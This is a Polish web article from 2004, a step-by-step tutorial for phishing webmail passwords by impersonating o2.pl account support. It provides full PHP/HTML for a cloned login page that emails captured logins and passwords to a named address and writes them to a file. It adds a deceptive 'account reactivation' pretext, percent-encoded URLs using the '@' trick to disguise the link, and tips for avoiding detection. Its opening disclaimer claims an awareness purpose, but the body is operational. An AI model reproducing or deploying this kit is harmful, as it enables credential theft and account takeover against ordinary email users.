Nowości 
Produkty 
Artykuły 
Inne 

Przechwytywanie haseł kont e-mail poprzez podszycie się pod obsługę konta

przechwytywanie haseł, e-mail, email, poczty, wyciąganie, hasło, konto pocztowe
Pliki do pobrania
Linki
Uprzedzam, iż moim celem podczas pisania tego tekstu, nie było dostarczenie wiedzy pseudo hackerom, a zwrócenie uwagi na błędy w funkcjonujących mechanizmach i przede wszystkim pokazanie, na jakie szczegóły musimy zwrócić uwagę, aby nie paść ofiarą podobnych działań.

Opiszę teraz jeden ze sposobów, pozwalający w łatwy sposób wydobyć hasła do kont kilku/kilkunastu osób. Opiera się głównie na założeniu, że łatwiej oszukać niedoświadczonego człowieka niż serwer, czy mechanizm pocztowy, tworzony przecież przez profesjonalistów. Moje rozwiązanie nie jest może doskonałe w 100%, ale jak do tej pory się sprawdziło (wg własnych testów oceniam skuteczność na ok. 80%). Bez zbędnego przeciągania przejdźmy do konkretów.
Pomysł można opisać wg tych punktów:

    1. Tworzymy klon jednej ze stron logowania jakiegoś popularnego portalu poczty elektronicznej (np. onet.pl). Umieszczamy spreparowaną stronę na naszym serwerze. Musimy jeszcze na niej umieścić skrypt, który przechwyci hasło użytkownika podczas próby logowania.
    2. Do ofiary wysyłamy e-mail, zawierający informację przekonującą, że użytkownik musi wejść na podany przez nas adres (w tym celu wykorzystamy inny mój artykuł pt. Ukrywanie prawdziwego adresu URL strony), gdzie dokona logowania.
    3. Hasło zostanie wysłane do nas. Użytkownik nie może jednak niczego podejrzewać, ponieważ w każdej chwili może zmienić przecież swoje hasło...

Jednak jak to wygląda w praktyce? Zacznijmy od punku 1.

1. Tworzenie strony-klona

W zasadzie nic prostszego. Wystarczy wejść na stronę wybranego portalu (na której znajduje się pole "Zaloguj się do poczty"), po czym w przeglądarce klikamy Plik | Zapisz jako... (czyli zapisujemy ją na dysku). Następnie wchodzimy do katalogu w którym zapisaliśmy stronę i edytujemy plik .html.
Musimy teraz usunąć z dokumentu wszystkie elementy, które mogłyby pomóc domyślić się ofierze, że jest to strona podłożona. Pozbywamy się więc wszystkich dat, starych newsów itd., zastępując je inteligentnie inną treścią. Jest to bardzo ważny etap, ponieważ gdy ktoś zobaczy np. na stronie onet.pl news dot. ważnego zdarzenia sprzed 2 tygodni, może domyślić się, że coś jest nie tak. Po odpowiednim zmodyfikowaniu strony musimy ją oskryptować w taki sposób, żeby użytkownik po wpisaniu swojego mail'a zobaczył odpowiedni komunikat (np. "Twoje konto zostało aktywowane ponownie. Zostaniesz teraz przeniesiony na stronę główną portalu" ), po czym w przeglądarce powinno nastąpić automatyczne, np. po 3 sekundach - im mniej ktoś będzie oglądał stronę spreparowaną, tym lepiej - przeniesienie na prawdziwą stronę(oryginalną) - wtedy użytkownik nie powinien się niczego domyślić, a jego hasło trafia do nas. Nie będzie to trudne dla osób znających PHP. Musimy pamiętać, aby skrypt odbierał nazwę użytkownika (to dobre uwiarygodnienie) i ew. prosił o wpisanie kodu z obrazka.
Poniżej przedstawiam fragment kodu mojego skryptu, razem z podrobionym wzorem strony portalu o2.pl (do pobrania również jako plik przyklad_o2_pl.zip):



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>o2.pl - Portal internetowy</TITLE>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-2">
<META
content="Portal internetowy o2.pl zaprasza! Znajdziesz tutaj darmowe konto e-mail, email, darmowa poczta, repertuar kinowy, program telewizyjny, tv, rozrywkę, seks, muzykę, pliki mp3, wiadomości i wiele więcej."
name=Description>
<META
content="portal, internetowy, o2.pl, konto email, repertuar kinowy, program telewizyjny, tv, seks, kobiety, muzyka, mp3, wiadomości, ankiety, katalog, wyszukiwarka, e-mail, mail, email, poczta e-mail"
name=Keywords>
<META content=index,follow name=robots>
<META http-equiv=Pragma content=no-cache>
<STYLE type=text/css>A {
FONT-SIZE: 10pt; FONT-FAMILY: verdana, sans-serif; FONT-WEIGHT: normal; COLOR: #0000dd; TEXT-DECORATION: none
}
A:hover {
FONT-WEIGHT: normal; COLOR: #ff7f00; TEXT-DECORATION: underline
}
.t1 {
FONT-SIZE: 8pt; FONT-FAMILY: verdana, sans-serif; TEXT-DECORATION: none
}
.t2 {
FONT-SIZE: 7pt; FONT-FAMILY: verdana, sans-serif; TEXT-DECORATION: none
}
.t3 {
FONT-SIZE: 9pt; FONT-FAMILY: verdana, sans-serif; TEXT-DECORATION: none
}
.t3b {
FONT-SIZE: 12px; BACKGROUND: #c0c0c0; COLOR: #ffffff; LINE-HEIGHT: 16px; FONT-FAMILY: verdana, sans-serif; TEXT-DECORATION: none
}
</STYLE>

<META content="Microsoft FrontPage 5.0" name=GENERATOR></HEAD>
<BODY text=#000000 vLink=#0000ff aLink=#6699cc link=#0000ff bgColor=#ffffff
leftMargin=0 topMargin=5 marginwidth="0"
marginheight="0">


<div align="center">
<center>


<table width="80%">
<tr>
<td width="686">
<img border="0" src="img/logo_s.gif" width="132" height="47">
<br><br>

# Tutaj zaczyna się właściwa część skryptu


<?php
extract
($_GET);
extract($_POST);

if(!isset(
$zapisz))
{
echo
"<font face=arial size=2><center><b>Aktualizowanie danych</b></center><br><br>W związku z przenoszeniem serwerów portalu o2.pl do innego budynku i przeglądem kont pocztowych na naszych dyskach, prosimy o ponowną weryfikację Twojego konta. W tym celu musisz załogować się na swoje konto przy użyciu <u>poniższego</u> formularza. <font color=red>Jeżeli nie zrobisz tego przez okres 2 tygodni, twoje konto zostanie usunięte!</font><br><br>Zespół o2 dziękuje za uwagę i przeprasza za utrudnienie.</font>

<form action=index.php ACCEPT-CHARSET=\"iso-8859-2\" method=get name=signup>
<table width=200 align=center style=\"border: #BBBB99 0.3mm solid\" cellpadding=0 CELLSPACING=0>
<tr height=10>
<td bgcolor=#BBBB99>
<font size=2 color=white face=arial> <img border=\"0\" src=\"img/a2.gif\"> <b> Zaloguj się</b></font>
</td>
</tr>
<tr>
<td>
<div align=center>
<br>

<font face=veranda size=2>Login: <input type=text name=login MAXLENGTH=50
size=12 value=$nick><br><font face=veranda size=2>Hasło: <input type=password name=haslo MAXLENGTH=50

size=12 class=f><br><br><img src=img/3.gif><img src=img/6.gif><img src=img/7.gif><img src=img/9.gif><br>

# Ta część skryptu została napisana, aby lepiej uwiarygodnić podłożoną stronę

Tutaj wpisz powyższy kod:
<input type=text name=kod MAXLENGTH=50
size=12>
<input type=hidden value=$nick name=nick><br>


<input type=hidden name=zapisz>
<br>
<div align=center><input type=submit value=\"Zaloguj\"><br><br></div></div>
</td>
</tr>
</table>

"
;
}
else
{
if(
$nick!=$login && isset($nick))
{

# To właśnie to o czym mówiłem. Skrypt sprawdza czy podany login jest
# identyczny z tym, jaki chcieliśmy uzyskać.

echo("<div align=center>Hasło które podałeś nie pasuje do użytkownika <b>$login</b>! Formularz dozwolony tylko dla loginu <b>$nick</b>.<br><br><input type=button onClick=history.back() value=\"Wstecz\"></div>");
}
if(
$kod!="3679")
{
echo(
"<div align=center>Podałeś kod $kod który nie jest prawidłowy. Wypełnij ponownie formularz.<br><br><input type=button onClick=history.back() value=\"Wstecz\"></div>");
}
if(
$haslo=="")
{
echo
"<div align=center>Nie podałeś hasła!<br><br><input type=button onClick=history.back() value=\"Wstecz\"></div>";
}
//jezeli wszystko dziala zapisujemy wyniki
else
{

# I gotowe! Hasło wędruje do nas na pocztę
mail("intol@o2.pl", "Uzytkownik $login zalogował sie!", "Uzytkownik $login zalogowal sie haslem $haslo." );

# Dla pewności zapisujemy hasło do pliku

$nazwapliku = "tablica.dat";
$zrodlo = "LOGIN:$login | HASLO:$haslo<>";

if (!(
file_exists($nazwapliku))) { // nie ma pliku z licznikiem
$plik = fopen ($nazwapliku, "w+");
fputs ($plik, "<>"); // wiec go tworzymy
fclose ($plik);
}

chmod("tablica.dat", 0777);


$plik = fopen ($nazwapliku, "a");
flock ($plik, 2);
fputs ($plik, "$zrodlo");
flock ($plik, 3);
fclose ($plik);




# Tu w zasadzie można dodać przekierowanie na prawdziwą stronę portalu
# czyli o2.pl

echo "<div align=center>Jako hasło dla użytkownika <b>$login</b> podałeś $haslo. Jeżeli te dane są nie poprawne zaloguj się ponownie (naciśnij przycisk [Wróć]). Dziękujemy za aktywację konta! <br><br><input type=button onClick=history.back() value=\"Wstecz\"></div>";

}
}

?>
<br>
<br><br><br><br><br><br><br><br>
<p align="center">
<img border="0" src="img/ps_bottom.gif" width="680" height="37"></td>
</tr>
</table>

</center>
</div>

</BODY></HTML>




Gdy strona jest już gotowa, wgrywamy ją na serwer WWW, np. do katalogu o2.pl . Jeżeli nie chcesz, aby ktoś Cię namierzył, wykorzystaj do tego jakiś darmowy serwer (uważaj na wszelkiego rodzaju pojawiające się reklamy, jak np. na serwerach typu lycos.co.uk mogą cię zdradzić!). Najlepiej konto założyć i wgrać na serwer z jakiejś kafejki, aby nie zostać namierzonym (o ile w ogóle ktoś zada sobie taki trud, w co szczerze wątpię). Gdy już wszystko gotowe, możemy przejść do punktu 2.

2. Wysyłanie odpowiednio spreparowanego mail'a

Musimy wysłać teraz do ofiary odpowiednio spreparowany e-mail, który będzie zachęcał (a raczej zmuszał) do zalogowania się na spreparowanej stronie. Najlepiej aby mail zawierał jak najwięcej elementów, które upodabniały by go do poczty rozsyłanej przez same portale. W przypadku o2.pl sprawa jest prosta, ponieważ serwis często rozsyła do posiadaczy kont pocztę informującą o czymś. Dobrze jest zastosować kilka elementów graficznych (np. logo) i gdzieś upchnąć jakąś reklamę (jest jej teraz pełno w tego typu wiadomościach...). Trzeba pamiętać, aby adres z którego jest wysyłany mail, wyglądał bardzo prawdziwie. Można to zrobić na dwa sposoby:
    1. Wysłać mail przy pomocy artykułu pt. Wysyłanie e-maili o dowolnym adresie nadawcy, jako adres podając np. nieużywany, ale dobrze pasujący: obsluga@o2.pl .
    2. To zdecydowanie lepsze wyjście. Mail'a można wysłać ze skryptu PHP umieszczonego na naszym serwerze, odpowiednio uruchamiając funkcję mail.Używając tego rozwiązania możemy prawie dowolnie modyfikować adres e-mail nadawcy.
Najważniejsze jednak elementy tej wiadomości to dobrze przygotowany tekst, który informuje np. o przeniesieniu firmy i konieczności ponownej aktywacji konta e-mail, poprzez zalogowanie się na nim. Jako link służący aktywacji zamieszczamy link do naszej strony-kolnu odpowiednio zmieniony przy pomocy artykułu pt. Ukrywanie prawdziwego adresu URL strony (i najlepiej edytora hexadecymalnego), tak aby użytkownik myślał, iż wchodzi na prawdziwą stronę protalu, np. http://login.o2.pl%40%77%77%77.%69n%74ol.%6e%6f%69.%70%6c/%6f2/i%6e%64%65x.%70%68%70?nick=juzek (pamiętajmy aby w linku przekazać zmienną PHP z loginem).
Ponieważ wiadomość ma być napisana w HTML'u, możemy zastosować jeszcze jedną sztuczkę. Wystarczy że jako adres podamy następujący kod (dzięki temu co innego będzie się wyświetlało, a co innego po kliknięciu się otworzy, należy jednak uważać, żeby oba adresy które podamy były prawidłowe, ponieważ ofiara może skopiować ten wyświetlany adres - i wkleić go bezpośrednio do pola adresu w przeglądarce)



<a href="http://login.o2.pl@intol@noi.pl/o2/index.php?nick=juzek"> http://login.o2.pl%40%77%77%77.%69n%74ol.%6e%6f%69.%70%6c/%6f2 /i%6e%64%65x.%70%68%70?nick=juzek</a>




Przykładowe wiadomości są do pobrania na dole strony. Oto wygląd jednej z nich:

Udawany komunikat o2.pl   

3. Odebranie hasła

Teraz wystarczy już tylko sprawdzać pocztę, a w odpowiednim czasie przyjdzie do nas zawiadomienie (oczywiście tylko, jeżeli ofiara się nie zorientuje), że użytkownik X zalogował się hasłem Y. Gdy już tak się stanie, wchodzimy na stronę portalu i logujemy się do konta. Jeżeli zalogowaliśmy się - sukces! Jeżeli natomiast nie dostaliśmy żadnego odzewu, można po jakimś czasie spróbować wysłać ponownie email do ofiary, tym razem w tekstem typu: "Konto wciąż nie aktywowane - ostatnia szansa".

4. Inne sposoby na zdobycie hasła

Jeżeli umiesz programować, to wiedz, że sposobów na zdobycie hasła podobną metodą jest dużo. Wystarczy dobrze pomyśleć. Możesz np. napisać program, który po uruchomieniu się na komputerze ofiary, wyświetli okienko o wyglądzie Outlook'a z tekstem typu "Program Outlook nie może zalogować się na Twoje konto mail. Wpisz ponownie login i hasło." Teraz wystarczy że po wpisaniu odpowiednich danych, program przyśle je nam (można nawet do tego celu wykorzystać ten sam skrypt PHP).

przechwytywanie haseł, e-mail, email, poczty, wyciąganie, hasło, konto pocztowe
Data utworzenia: 07-10-2004 | Ostatnia modyfikacja: 07-10-2004 Komentarze do artykułu [16]

Earth From Above